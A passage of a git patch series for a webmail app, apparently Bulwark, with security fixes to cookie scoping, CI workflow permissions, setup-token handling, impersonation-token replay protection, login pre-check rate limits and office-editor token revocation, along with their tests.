readRawCookie(APP_FRAME_ORIGINS_COOKIE) === value; + return readRawCookie(name) === value; } diff --git a/lib/security/app-frame-origins.ts b/lib/security/app-frame-origins.ts index a8abe3cfb..a8cc108e9 100644 --- a/lib/security/app-frame-origins.ts +++ b/lib/security/app-frame-origins.ts @@ -14,6 +14,26 @@ /** Cookie the client writes and the proxy reads. Not HttpOnly - the client owns it. */ export const APP_FRAME_ORIGINS_COOKIE = 'bulwark_app_frame_origins'; +/** + * The name used over HTTPS. A `__Host-` cookie can only be set by this exact + * host, Secure and on Path=/ - a same-site sibling (`evil.example.com` next to + * `mail.example.com`) cannot plant one to widen this app's frame-src. Plain + * HTTP (local development) keeps the unprefixed name, which browsers require. + */ +export const APP_FRAME_ORIGINS_SECURE_COOKIE = '__Host-bulwark_app_frame_origins'; + +/** + * The cookie value the proxy may trust for this request: the `__Host-` one, + * or the plain one only when the request did not come in over HTTPS. + */ +export function pickAppFrameOriginsCookie( + read: (name: string) => string | undefined, + requestIsHttps: boolean, +): string | undefined { + const secure = read(APP_FRAME_ORIGINS_SECURE_COOKIE); + if (secure !== undefined) return secure; + return requestIsHttps ? undefined : read(APP_FRAME_ORIGINS_COOKIE); +} /** Hard cap so a large app list can never blow up the cookie or the header. */ export const MAX_APP_FRAME_ORIGINS = 20; diff --git a/proxy.ts b/proxy.ts index d5290c6d6..83c17ba72 100644 --- a/proxy.ts +++ b/proxy.ts @@ -5,9 +5,9 @@ import { localeFromAcceptLanguage } from "./i18n/locale-matcher"; import { isSameOriginRequest } from "./lib/security/same-origin"; import { getEnabledPluginFrameOrigins } from "./lib/admin/csp-frame-origins"; import { - APP_FRAME_ORIGINS_COOKIE, inlineAppFrameOrigins, parseAppFrameOrigins, + pickAppFrameOriginsCookie, } from "./lib/security/app-frame-origins"; import { configManager } from "./lib/admin/config-manager"; import { detectSetupState } from "./lib/setup/state"; @@ -283,7 +283,10 @@ export async function proxy(request: NextRequest) { const policy = configManager.getPolicy(); const sidebarAppsEnabled = policy.features?.sidebarAppsEnabled !== false; const appFrameOrigins = sidebarAppsEnabled - ? parseAppFrameOrigins(request.cookies.get(APP_FRAME_ORIGINS_COOKIE)?.value) + ? parseAppFrameOrigins(pickAppFrameOriginsCookie( + (name) => request.cookies.get(name)?.value, + request.nextUrl.protocol === "https:" || request.headers.get("x-forwarded-proto") === "https", + )) : []; // Apps the operator pins for everyone (#931) are known server-side, so their From 582960ae06e22f5e515afd6cddd7b2469197c20d Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:30:23 +0200 Subject: [PATCH 074/358] ci: publish latest only from stable releases and scope workflow tokens A manual run of the release image workflow tagged `latest` on whatever ref it was dispatched from, and the demo deploy and every Watchtower install follow `latest`. It now moves only for a published stable release or a dispatch on a stable `v*` tag. - `static-lite.yml` gave the whole workflow `contents: write`, including the build job that runs pull-request code. The build is read-only now; a separate release job with no checkout uploads the zips. - `docker-publish.yml` passes the ref name through `env` instead of interpolating it into the shell script. --- .github/workflows/docker-publish-releases.yml | 7 ++-- .github/workflows/docker-publish.yml | 9 +++-- .github/workflows/static-lite.yml | 33 ++++++++++++++----- 3 files changed, 35 insertions(+), 14 deletions(-) diff --git a/.github/workflows/docker-publish-releases.yml b/.github/workflows/docker-publish-releases.yml index 292246802..21ddb1216 100644 --- a/.github/workflows/docker-publish-releases.yml +++ b/.github/workflows/docker-publish-releases.yml @@ -1,5 +1,8 @@ name: Publish Docker Image on Release +# `latest` moves only for a published stable release, or for a manual run +# dispatched on a stable release tag (to rebuild one). A dispatch on a +# branch builds nothing that the demo deploy or Watchtower users follow. on: release: types: [published] @@ -101,7 +104,7 @@ jobs: with: images: ${{ env.IMAGE_NAME }} tags: | - type=raw,value=latest,enable=${{ github.event_name != 'release' || !github.event.release.prerelease }} + type=raw,value=latest,enable=${{ (github.event_name == 'release' && !github.event.release.prerelease) || (github.event_name == 'workflow_dispatch' && startsWith(github.ref, 'refs/tags/v') && !contains(github.ref_name, '-')) }} type=semver,pattern=v{{version}} type=semver,pattern={{version}} type=semver,pattern=v{{major}}.{{minor}} @@ -212,7 +215,7 @@ jobs: flavor: | suffix=-always,onlatest=true tags: | - type=raw,value=latest,enable=${{ github.event_name != 'release' || !github.event.release.prerelease }} + type=raw,value=latest,enable=${{ (github.event_name == 'release' && !github.event.release.prerelease) || (github.event_name == 'workflow_dispatch' && startsWith(github.ref, 'refs/tags/v') && !contains(github.ref_name, '-')) }} type=semver,pattern=v{{version}} type=semver,pattern={{version}} type=semver,pattern=v{{major}}.{{minor}} diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index 6a718fbbf..ff0a6a26a 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -29,11 +29,14 @@ jobs: steps: - name: Set image name id: set + env: + REF_NAME: ${{ github.ref_name }} + REPOSITORY: ${{ github.repository }} run: | - if [ "${{ github.ref_name }}" = "main" ]; then - echo "image_name=ghcr.io/${{ github.repository }}-beta" >> $GITHUB_OUTPUT + if [ "$REF_NAME" = "main" ]; then + echo "image_name=ghcr.io/${REPOSITORY}-beta" >> "$GITHUB_OUTPUT" else - echo "image_name=ghcr.io/${{ github.repository }}-${{ github.ref_name }}" >> $GITHUB_OUTPUT + echo "image_name=ghcr.io/${REPOSITORY}-${REF_NAME}" >> "$GITHUB_OUTPUT" fi build: diff --git a/.github/workflows/static-lite.yml b/.github/workflows/static-lite.yml index 256da7a5d..ca07462ed 100644 --- a/.github/workflows/static-lite.yml +++ b/.github/workflows/static-lite.yml @@ -42,7 +42,7 @@ on: default: false permissions: - contents: write + contents: read jobs: build: @@ -98,21 +98,36 @@ jobs: echo "ZIP=${ZIP}" >> "$GITHUB_ENV" ls -la "${ZIP}" - - name: Upload release asset - if: github.event_name == 'release' - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - TAG_NAME: ${{ github.event.release.tag_name }} - run: gh release upload "$TAG_NAME" "$ZIP" --clobber - - name: Upload artifact - if: github.event_name != 'release' uses: actions/upload-artifact@v4 with: name: bulwark-lite-${{ matrix.target }} path: ${{ env.ZIP }} retention-days: 7 + release: + # The only job with a write token, and it runs no checked-out code. + needs: build + if: github.event_name == 'release' + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + steps: + - name: Download zips + uses: actions/download-artifact@v4 + with: + pattern: bulwark-lite-* + path: zips + merge-multiple: true + + - name: Upload release assets + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_REPO: ${{ github.repository }} + TAG_NAME: ${{ github.event.release.tag_name }} + run: gh release upload "$TAG_NAME" zips/*.zip --clobber + smoke: # Boots the demo export on a plain static server and drives it with # Playwright: login, open a thread, switch surfaces, reload a deep link. From 034ee27057a795dd9c52bd701a8ed13ab6d0148f Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:32:38 +0200 Subject: [PATCH 075/358] fix: keep the setup token out of access logs, referers and history The startup banner printed `/setup?token=...`, so the one-hour bootstrap token that grants the setup wizard landed in reverse-proxy access logs, Referer headers and browser history. The link now carries the token in the fragment, which never leaves the browser, and the wizard removes it from the address bar as soon as it reads it. Old `?token=` links still work and are cleaned up the same way. --- app/(main)/setup/page.tsx | 9 ++++++--- instrumentation.node.ts | 3 ++- lib/__tests__/setup-url-token.test.ts | 29 +++++++++++++++++++++++++++ lib/setup/url-token.ts | 21 +++++++++++++++++++ 4 files changed, 58 insertions(+), 4 deletions(-) create mode 100644 lib/__tests__/setup-url-token.test.ts create mode 100644 lib/setup/url-token.ts diff --git a/app/(main)/setup/page.tsx b/app/(main)/setup/page.tsx index befc56f74..af8de969c 100644 --- a/app/(main)/setup/page.tsx +++ b/app/(main)/setup/page.tsx @@ -1,9 +1,10 @@ 'use client'; import { useEffect, useState, type FormEvent, type ReactNode } from 'react'; -import { useRouter, useSearchParams } from 'next/navigation'; +import { useRouter } from 'next/navigation'; import { CheckCircle2, AlertTriangle, AlertCircle, Server, ShieldCheck, KeyRound, FileText, Palette, Lock, ShieldAlert } from '@/components/icons'; import { apiFetch, getPathPrefix, withBasePath } from '@/lib/browser-navigation'; +import { takeSetupTokenFromUrl } from '@/lib/setup/url-token'; type State = 'bootstrap' | 'configured' | 'env-managed'; @@ -93,7 +94,7 @@ const STEPS = [ export default function SetupWizardPage() { const router = useRouter(); - const searchParams = useSearchParams(); + const [tokenFromUrl, setTokenFromUrl] = useState(''); const [bootstrapping, setBootstrapping] = useState(true); const [error, setError] = useState(null); @@ -110,6 +111,7 @@ export default function SetupWizardPage() { const [insecureAcknowledged, setInsecureAcknowledged] = useState(false); useEffect(() => { setInsecureContext(detectInsecureContext()); + setTokenFromUrl(takeSetupTokenFromUrl(window.location, window.history)); }, []); // ─── Initial status load ──────────────────────────────────────────────── @@ -222,7 +224,7 @@ export default function SetupWizardPage() { {!authenticated ? ( { try { await submitToken(t); @@ -500,6 +502,7 @@ function WelcomeStep({ tokenFromUrl, onSubmit }: { tokenFromUrl: string; onSubmi // Auto-submit if token came in via URL. useEffect(() => { if (tokenFromUrl && !submitting) { + setToken(tokenFromUrl); setSubmitting(true); onSubmit(tokenFromUrl).finally(() => setSubmitting(false)); } diff --git a/instrumentation.node.ts b/instrumentation.node.ts index b98c2f9f5..365427d9d 100644 --- a/instrumentation.node.ts +++ b/instrumentation.node.ts @@ -31,7 +31,8 @@ migrateLegacyAdminLayout() console.info("=============================================================="); console.info(" SETUP REQUIRED"); console.info(` Token: ${token}`); - console.info(` Open: http://:${port}/setup?token=${token}`); + // In the fragment, so the token stays out of access logs and Referer. + console.info(` Open: http://:${port}/setup#token=${token}`); console.info(" Token expires in 1 hour. Restart the container to reissue."); console.info("=============================================================="); console.info(""); diff --git a/lib/__tests__/setup-url-token.test.ts b/lib/__tests__/setup-url-token.test.ts new file mode 100644 index 000000000..07683c5bc --- /dev/null +++ b/lib/__tests__/setup-url-token.test.ts @@ -0,0 +1,29 @@ +import { describe, expect, it, vi } from 'vitest'; +import { takeSetupTokenFromUrl } from '@/lib/setup/url-token'; + +function take(href: string) { + const url = new URL(href); + const history = { state: { k: 1 }, replaceState: vi.fn() }; + const token = takeSetupTokenFromUrl(url, history); + return { token, history }; +} + +describe('takeSetupTokenFromUrl', () => { + it('reads the token from the fragment and clears it from the address bar', () => { + const { token, history } = take('https://mail.example/setup#token=abc123'); + expect(token).toBe('abc123'); + expect(history.replaceState).toHaveBeenCalledWith({ k: 1 }, '', '/setup'); + }); + + it('still accepts the legacy query parameter and keeps other parameters', () => { + const { token, history } = take('https://mail.example/setup?lang=de&token=abc123'); + expect(token).toBe('abc123'); + expect(history.replaceState).toHaveBeenCalledWith({ k: 1 }, '', '/setup?lang=de'); + }); + + it('leaves a URL without a token alone', () => { + const { token, history } = take('https://mail.example/setup?lang=de'); + expect(token).toBe(''); + expect(history.replaceState).not.toHaveBeenCalled(); + }); +}); diff --git a/lib/setup/url-token.ts b/lib/setup/url-token.ts new file mode 100644 index 000000000..9d494925d --- /dev/null +++ b/lib/setup/url-token.ts @@ -0,0 +1,21 @@ +/** + * The setup link printed at startup carries the token in the fragment + * (`/setup#token=...`): a fragment never reaches the server, a reverse + * proxy's access log or a Referer. Older logs printed `?token=`, which is + * still accepted. Either way the token is removed from the address bar (and + * so from history) as soon as it is read. + */ +export function takeSetupTokenFromUrl( + location: Pick, + history: Pick, +): string { + const fromHash = new URLSearchParams(location.hash.replace(/^#/, '')).get('token'); + const search = new URLSearchParams(location.search); + const fromQuery = search.get('token'); + if (fromHash === null && fromQuery === null) return ''; + + search.delete('token'); + const rest = search.toString(); + history.replaceState(history.state, '', location.pathname + (rest ? `?${rest}` : '')); + return (fromHash ?? fromQuery ?? '').trim(); +} From 5622eca36bf6fae033ca585223bd41591e7b0d99 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:34:58 +0200 Subject: [PATCH 076/358] fix: refuse a used impersonation link after a restart or on another replica Used impersonation token ids were only remembered in process memory, so a captured handoff link could be redeemed a second time within its five minute lifetime once the process restarted, or on another replica. Each used id now also leaves a marker file in the state directory, created exclusively, which every replica sharing the state volume sees; markers are pruned once the token could no longer verify. The absolute session limit comes from the eight-hour app password that Stalwart itself expires. --- app/api/auth/impersonate/route.ts | 9 +-- .../impersonation-replay-store.test.ts | 58 +++++++++++++++++++ lib/__tests__/impersonation-session.test.ts | 10 +++- lib/impersonation/jwt.ts | 17 ++++-- lib/impersonation/replay-store.ts | 55 ++++++++++++++++++ 5 files changed, 136 insertions(+), 13 deletions(-) create mode 100644 lib/__tests__/impersonation-replay-store.test.ts create mode 100644 lib/impersonation/replay-store.ts diff --git a/app/api/auth/impersonate/route.ts b/app/api/auth/impersonate/route.ts index bef1b35f4..6690be6ff 100644 --- a/app/api/auth/impersonate/route.ts +++ b/app/api/auth/impersonate/route.ts @@ -7,11 +7,8 @@ import { getCookieOptions } from '@/lib/oauth/cookie-config'; import { normalizeJmapServerUrl } from '@/lib/auth/verify-jmap-auth'; import { setStalwartAuthContextInStore } from '@/lib/stalwart/auth-context'; import { recordLogin } from '@/lib/telemetry/login-tracker'; -import { - ImpersonationJwtError, - impersonationReplayCache, - verifyImpersonationJwt, -} from '@/lib/impersonation/jwt'; +import { ImpersonationJwtError, verifyImpersonationJwt } from '@/lib/impersonation/jwt'; +import { consumeImpersonationJti } from '@/lib/impersonation/replay-store'; import { readImpersonationConfig, resolveImpersonationServerUrl, @@ -81,7 +78,7 @@ export async function GET(request: NextRequest) { return NextResponse.json({ error: 'Internal server error' }, { status: 500 }); } - if (!impersonationReplayCache.consume(claims.jti, claims.exp)) { + if (!(await consumeImpersonationJti(claims.jti, claims.exp))) { logger.warn('Impersonation JWT replay rejected', { jti: claims.jti }); return NextResponse.json({ error: 'Token already used' }, { status: 401 }); } diff --git a/lib/__tests__/impersonation-replay-store.test.ts b/lib/__tests__/impersonation-replay-store.test.ts new file mode 100644 index 000000000..b1e3464d6 --- /dev/null +++ b/lib/__tests__/impersonation-replay-store.test.ts @@ -0,0 +1,58 @@ +// @vitest-environment node +import { mkdtempSync, readdirSync, rmSync, utimesSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +vi.mock('@/lib/logger', () => ({ + logger: { warn: vi.fn(), info: vi.fn(), error: vi.fn(), debug: vi.fn() }, +})); + +import { IMPERSONATION_REPLAY_WINDOW_SEC, impersonationReplayCache } from '@/lib/impersonation/jwt'; +import { consumeImpersonationJti } from '@/lib/impersonation/replay-store'; + +// The jti cache lived only in process memory: after a restart, or on another +// replica, a captured handoff link could be redeemed again. + +let stateDir: string; +const previous = process.env.ADMIN_STATE_DIR; + +beforeEach(() => { + stateDir = mkdtempSync(path.join(tmpdir(), 'bw-jti-')); + process.env.ADMIN_STATE_DIR = stateDir; + impersonationReplayCache.clear(); +}); + +afterEach(() => { + if (previous === undefined) delete process.env.ADMIN_STATE_DIR; + else process.env.ADMIN_STATE_DIR = previous; + rmSync(stateDir, { recursive: true, force: true }); +}); + +describe('consumeImpersonationJti', () => { + const now = Date.now(); + const exp = Math.floor(now / 1000) + 120; + + it('refuses a jti the second time', async () => { + expect(await consumeImpersonationJti('jti-1', exp, now)).toBe(true); + expect(await consumeImpersonationJti('jti-1', exp, now)).toBe(false); + }); + + it('still refuses it after the in-process cache is gone (restart, other replica)', async () => { + expect(await consumeImpersonationJti('jti-1', exp, now)).toBe(true); + impersonationReplayCache.clear(); + expect(await consumeImpersonationJti('jti-1', exp, now)).toBe(false); + }); + + it('prunes markers once their token can no longer verify', async () => { + await consumeImpersonationJti('jti-old', exp, now); + const dir = path.join(stateDir, 'impersonation-jti'); + const [marker] = readdirSync(dir); + const old = (now - (IMPERSONATION_REPLAY_WINDOW_SEC + 5) * 1000) / 1000; + utimesSync(path.join(dir, marker), old, old); + + await consumeImpersonationJti('jti-new', exp, now); + expect(readdirSync(dir)).toHaveLength(1); + expect(readdirSync(dir)).not.toContain(marker); + }); +}); diff --git a/lib/__tests__/impersonation-session.test.ts b/lib/__tests__/impersonation-session.test.ts index 1920f148d..8202b5aff 100644 --- a/lib/__tests__/impersonation-session.test.ts +++ b/lib/__tests__/impersonation-session.test.ts @@ -1,6 +1,9 @@ // @vitest-environment node import { createHmac, randomUUID } from 'node:crypto'; -import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'; import { NextRequest } from 'next/server'; vi.mock('@/lib/auth/session-secret', () => ({ @@ -78,7 +81,12 @@ async function readSession() { } describe('impersonation handoff', () => { + // Used jtis are recorded in the state directory. + const stateDir = mkdtempSync(path.join(tmpdir(), 'bw-imp-')); + afterAll(() => rmSync(stateDir, { recursive: true, force: true })); + beforeAll(() => { + process.env.ADMIN_STATE_DIR = stateDir; process.env.BULWARK_JWT_AUTH_SECRET = SECRET; process.env.BULWARK_STALWART_MASTER_USER = 'master@example.org'; process.env.BULWARK_STALWART_MASTER_PASSWORD = MASTER_PASSWORD; diff --git a/lib/impersonation/jwt.ts b/lib/impersonation/jwt.ts index 4145ce138..d7d3edeff 100644 --- a/lib/impersonation/jwt.ts +++ b/lib/impersonation/jwt.ts @@ -26,6 +26,13 @@ const MAX_TOKEN_LIFETIME_SEC = 300; const CLOCK_SKEW_SEC = 60; const MIN_SECRET_LENGTH = 32; +/** + * How long after it is first redeemed a token can still verify: `iat` may + * run CLOCK_SKEW_SEC ahead, `exp` is at most MAX_TOKEN_LIFETIME_SEC after + * `iat`, and `exp` is honoured for another CLOCK_SKEW_SEC. + */ +export const IMPERSONATION_REPLAY_WINDOW_SEC = MAX_TOKEN_LIFETIME_SEC + 2 * CLOCK_SKEW_SEC; + function base64UrlDecode(input: string): Buffer { const pad = input.length % 4 === 0 ? 0 : 4 - (input.length % 4); const b64 = input.replace(/-/g, '+').replace(/_/g, '/') + '='.repeat(pad); @@ -141,12 +148,10 @@ export function verifyImpersonationJwt( // ─── Replay protection ────────────────────────────────────────── // In-memory LRU keyed by jti. Entries expire automatically once their -// underlying JWT could no longer be replayed (exp + skew). On a multi-pod -// deployment each pod has its own cache; that's acceptable because a token -// stolen mid-flight could only be replayed against the pod that already -// consumed it (and that pod will reject it). For stronger guarantees, -// platforms can issue per-pod-routed tokens or front Bulwark with a -// single-leader load balancer for the impersonate route. +// underlying JWT could no longer be replayed (exp + skew). This is the fast +// path; consumeImpersonationJti() in replay-store.ts backs it with marker +// files in the state directory so a restart or another replica sharing the +// state volume still refuses a used token. const REPLAY_CACHE_MAX = 4096; diff --git a/lib/impersonation/replay-store.ts b/lib/impersonation/replay-store.ts new file mode 100644 index 000000000..6f3cba8ac --- /dev/null +++ b/lib/impersonation/replay-store.ts @@ -0,0 +1,55 @@ +import { createHash } from 'node:crypto'; +import { mkdir, open, readdir, stat, unlink } from 'node:fs/promises'; +import path from 'node:path'; +import { getStatePath } from '@/lib/admin/paths'; +import { logger } from '@/lib/logger'; +import { IMPERSONATION_REPLAY_WINDOW_SEC, impersonationReplayCache } from './jwt'; + +const STORE_DIR = 'impersonation-jti'; + +async function pruneExpired(dir: string, nowMs: number): Promise { + for (const name of await readdir(dir)) { + const file = path.join(dir, name); + try { + const { mtimeMs } = await stat(file); + if (nowMs - mtimeMs > IMPERSONATION_REPLAY_WINDOW_SEC * 1000) await unlink(file); + } catch { + // Another process pruned it first. + } + } +} + +/** + * Record an impersonation token's jti as used; false when it was used before. + * + * The in-process cache alone forgot every jti on restart and knew nothing of + * other replicas, so a captured handoff link could be redeemed again within + * its lifetime. Each jti also gets a marker file in the state directory, + * created with O_EXCL, which survives restarts and is shared by every + * replica that mounts the same state volume. Markers are pruned once the + * token they stand for can no longer verify. + */ +export async function consumeImpersonationJti( + jti: string, + exp: number, + nowMs: number = Date.now(), +): Promise { + if (!impersonationReplayCache.consume(jti, exp, Math.floor(nowMs / 1000))) return false; + + const dir = getStatePath(STORE_DIR); + try { + await mkdir(dir, { recursive: true }); + await pruneExpired(dir, nowMs); + const marker = await open(path.join(dir, createHash('sha256').update(jti).digest('hex')), 'wx'); + await marker.close(); + return true; + } catch (err) { + if ((err as NodeJS.ErrnoException).code === 'EEXIST') return false; + // The state directory is documented as always writable; if it is not, + // keep impersonation working on the in-process cache. + logger.warn('Impersonation replay store unavailable, using the in-process cache only', { + error: err instanceof Error ? err.message : 'Unknown', + }); + return true; + } +} From a2253982e5e8c1427479fbd7d268776471891c0c Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:36:58 +0200 Subject: [PATCH 077/358] fix: limit wrong passwords tried through the login pre-check `/api/auth/verify` checked any username and password against the JMAP server without a limit. Every probe reaches the server from the webmail's own address, so the route was a password oracle and enough wrong passwords could trip Stalwart's authentication ban against the webmail itself, locking out every user. Wrong passwords now use up a budget of five per client and thirty across all clients per fifteen minutes; right ones are refunded. Over budget the route answers `inconclusive` and the browser probes the JMAP server itself, as it did before the pre-check existed. --- app/api/auth/verify/route.ts | 9 +++ lib/__tests__/auth-verify-route.test.ts | 40 ++++++++++++-- lib/auth/verify-budget.ts | 73 +++++++++++++++++++++++++ 3 files changed, 118 insertions(+), 4 deletions(-) create mode 100644 lib/auth/verify-budget.ts diff --git a/app/api/auth/verify/route.ts b/app/api/auth/verify/route.ts index 1cc95d1d1..a68a1c7bf 100644 --- a/app/api/auth/verify/route.ts +++ b/app/api/auth/verify/route.ts @@ -5,6 +5,8 @@ import { configManager } from '@/lib/admin/config-manager'; import { isPublicHttpUrl } from '@/lib/security/url-guard'; import { parseJmapServers, resolveTrustedJmapUrl } from '@/lib/admin/jmap-servers'; import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; +import { getClientIP } from '@/lib/admin/session'; +import { reserveVerifyProbe } from '@/lib/auth/verify-budget'; /** * Server-side Basic-auth pre-check for the login form (#969). @@ -75,14 +77,21 @@ export async function POST(request: NextRequest) { return respond('inconclusive'); } + // Wrong passwords tried from here count against this server's address + // upstream; over budget the browser probes the JMAP server itself. + const refund = reserveVerifyProbe(getClientIP(request)); + if (!refund) return respond('inconclusive'); + const authHeader = 'Basic ' + Buffer.from(username + ':' + password).toString('base64'); try { await verifyJmapAuth(upstreamUrl, authHeader, { trusted: upstreamTrusted }); + refund(); return respond('ok'); } catch (error) { if (error instanceof JmapAuthVerificationError && error.upstreamStatus === 401) { return respond('unauthorized'); } + refund(); logger.debug('Login pre-check inconclusive', { error: error instanceof Error ? error.message : 'Unknown error', }); diff --git a/lib/__tests__/auth-verify-route.test.ts b/lib/__tests__/auth-verify-route.test.ts index 9216ed2ce..9df32cebe 100644 --- a/lib/__tests__/auth-verify-route.test.ts +++ b/lib/__tests__/auth-verify-route.test.ts @@ -23,17 +23,17 @@ vi.mock('@/lib/admin/config-manager', () => ({ const TRUSTED = 'https://mail.example.com'; -function mockRequest(body: unknown): unknown { +function mockRequest(body: unknown, clientIp?: string): unknown { return { json: async () => body, - headers: { get: () => null }, + headers: { get: (name: string) => (name === 'x-forwarded-for' && clientIp ? clientIp : null) }, nextUrl: { searchParams: new URLSearchParams() }, }; } -async function callRoute(body: unknown) { +async function callRoute(body: unknown, clientIp?: string) { const { POST } = await import('@/app/api/auth/verify/route'); - const res = (await POST(mockRequest(body) as Parameters[0])) as unknown as { + const res = (await POST(mockRequest(body, clientIp) as Parameters[0])) as unknown as { json: () => Promise<{ result?: string; error?: string }>; status: number; }; @@ -116,6 +116,38 @@ describe('POST /api/auth/verify (#969 login pre-check)', () => { expect(fetchSpy).not.toHaveBeenCalled(); }); + it('stops probing upstream after five wrong passwords from one client', async () => { + fetchSpy.mockResolvedValue(upstream(401) as unknown as Response); + const wrong = { serverUrl: TRUSTED, username: 'alice', password: 'wrong' }; + + for (let i = 0; i < 5; i++) { + expect((await callRoute(wrong, '198.51.100.7')).body).toEqual({ result: 'unauthorized' }); + } + expect((await callRoute(wrong, '198.51.100.7')).body).toEqual({ result: 'inconclusive' }); + expect(fetchSpy).toHaveBeenCalledTimes(5); + + // Another client still gets the pre-check. + expect((await callRoute(wrong, '198.51.100.8')).body).toEqual({ result: 'unauthorized' }); + }); + + it('caps wrong passwords across all clients, whatever X-Forwarded-For claims', async () => { + fetchSpy.mockResolvedValue(upstream(401) as unknown as Response); + const wrong = { serverUrl: TRUSTED, username: 'alice', password: 'wrong' }; + + for (let i = 0; i < 30; i++) await callRoute(wrong, `203.0.113.${i}`); + expect((await callRoute(wrong, '203.0.113.200')).body).toEqual({ result: 'inconclusive' }); + expect(fetchSpy).toHaveBeenCalledTimes(30); + }); + + it('does not count right passwords against the budget', async () => { + fetchSpy.mockResolvedValue(upstream(200, { apiUrl: `${TRUSTED}/jmap`, accounts: { a: {} } }) as unknown as Response); + + for (let i = 0; i < 8; i++) { + const { body } = await callRoute({ serverUrl: TRUSTED, username: 'alice', password: 'right' }, '198.51.100.9'); + expect(body).toEqual({ result: 'ok' }); + } + }); + it('rejects requests with missing fields', async () => { const { status } = await callRoute({ serverUrl: TRUSTED, username: 'alice' }); expect(status).toBe(400); diff --git a/lib/auth/verify-budget.ts b/lib/auth/verify-budget.ts new file mode 100644 index 000000000..7452ccfd2 --- /dev/null +++ b/lib/auth/verify-budget.ts @@ -0,0 +1,73 @@ +/** + * Budget for the unauthenticated login pre-check (/api/auth/verify). + * + * Every probe that route sends reaches the JMAP server from this server's + * address. Without a limit anyone could use it as a password oracle, and + * enough wrong passwords would trip the JMAP server's authentication + * limiter (Stalwart's fail2ban) against the webmail's own address, locking + * out every user at once. A probe that turns out right is refunded, so only + * wrong passwords use up the budget. + * + * Over budget the route answers `inconclusive`: the browser then probes the + * JMAP server itself, from its own address, exactly as it did before the + * pre-check existed. + */ + +const WINDOW_MS = 15 * 60 * 1000; +const CLIENT_MAX_FAILURES = 5; +/** + * The client key comes from X-Forwarded-For, which a client can write itself + * when nothing sits in front of the app, so there is a ceiling across all + * clients too. + */ +const GLOBAL_MAX_FAILURES = 30; +const MAX_TRACKED_CLIENTS = 10_000; + +interface Budget { + used: number; + resetAt: number; +} + +const clients = new Map(); +let global: Budget = { used: 0, resetAt: 0 }; + +function fresh(budget: Budget | undefined, now: number): Budget { + return budget && budget.resetAt > now ? budget : { used: 0, resetAt: now + WINDOW_MS }; +} + +function prune(now: number): void { + for (const [key, budget] of clients) { + if (budget.resetAt <= now) clients.delete(key); + } + // Still full of live windows: drop the oldest. + while (clients.size >= MAX_TRACKED_CLIENTS) { + const oldest = clients.keys().next().value; + if (oldest === undefined) break; + clients.delete(oldest); + } +} + +/** + * Reserve one probe for `client`. Returns null when the client or the whole + * server is over budget; otherwise a function that refunds the probe, to be + * called when the credentials turned out to be right. + */ +export function reserveVerifyProbe(client: string, now: number = Date.now()): (() => void) | null { + global = fresh(global, now); + const own = fresh(clients.get(client), now); + if (global.used >= GLOBAL_MAX_FAILURES || own.used >= CLIENT_MAX_FAILURES) return null; + + if (!clients.has(client)) prune(now); + own.used++; + global.used++; + clients.set(client, own); + + const reservedGlobal = global; + let refunded = false; + return () => { + if (refunded) return; + refunded = true; + own.used = Math.max(0, own.used - 1); + reservedGlobal.used = Math.max(0, reservedGlobal.used - 1); + }; +} From 204cd099517035da8ec20869c53834e611079afd Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 16:40:46 +0200 Subject: [PATCH 078/358] fix: end office editor sessions when the user signs out A WOPI token carries the user's credentials to the editor server and stayed valid for its whole six-hour lifetime, so an editor opened before signing out could still read and save the document afterwards. Each token now records the browser (a random id in an HttpOnly cookie, hashed) and account slot that opened it. Signing out records a revocation time for that browser and slot, or for every slot on a full sign-out, and WOPI calls with a token minted before it are refused. Signing out on another device leaves this browser's editors alone. Revocations live in the state directory, so they survive a restart and reach replicas sharing the state volume, and are dropped once the tokens they cover have expired. --- app/api/auth/session/route.ts | 3 + app/api/wopi/launch/route.ts | 5 + lib/__tests__/wopi-attachment-routes.test.ts | 66 +++++++++++ lib/wopi/request.ts | 3 + lib/wopi/revocation.ts | 117 +++++++++++++++++++ lib/wopi/token.ts | 8 ++ 6 files changed, 202 insertions(+) create mode 100644 lib/wopi/revocation.ts diff --git a/app/api/auth/session/route.ts b/app/api/auth/session/route.ts index 765cc4b81..1a43406f4 100644 --- a/app/api/auth/session/route.ts +++ b/app/api/auth/session/route.ts @@ -19,6 +19,7 @@ import { insecureCookieHint, verificationFailureBody } from '@/lib/auth/verifica import { readImpersonationConfig } from '@/lib/impersonation/master-config'; import { revokeImpersonationCredential } from '@/lib/impersonation/app-password'; import { IMPERSONATION_GRANT_COOKIE, openImpersonationGrant } from '@/lib/impersonation/grant-cookie'; +import { revokeWopiTokens } from '@/lib/wopi/revocation'; function sessionCookieOptions() { return { @@ -247,6 +248,8 @@ export async function DELETE(request: NextRequest) { try { const cookieStore = await cookies(); const all = request.nextUrl.searchParams.get('all') === 'true'; + // Office editors opened from here stop working with the session. + await revokeWopiTokens(cookieStore, all ? 'all' : getSlot(request)); if (all) { // Delete all session cookies across every slot. diff --git a/app/api/wopi/launch/route.ts b/app/api/wopi/launch/route.ts index 91bd546ca..38db80a84 100644 --- a/app/api/wopi/launch/route.ts +++ b/app/api/wopi/launch/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { cookies } 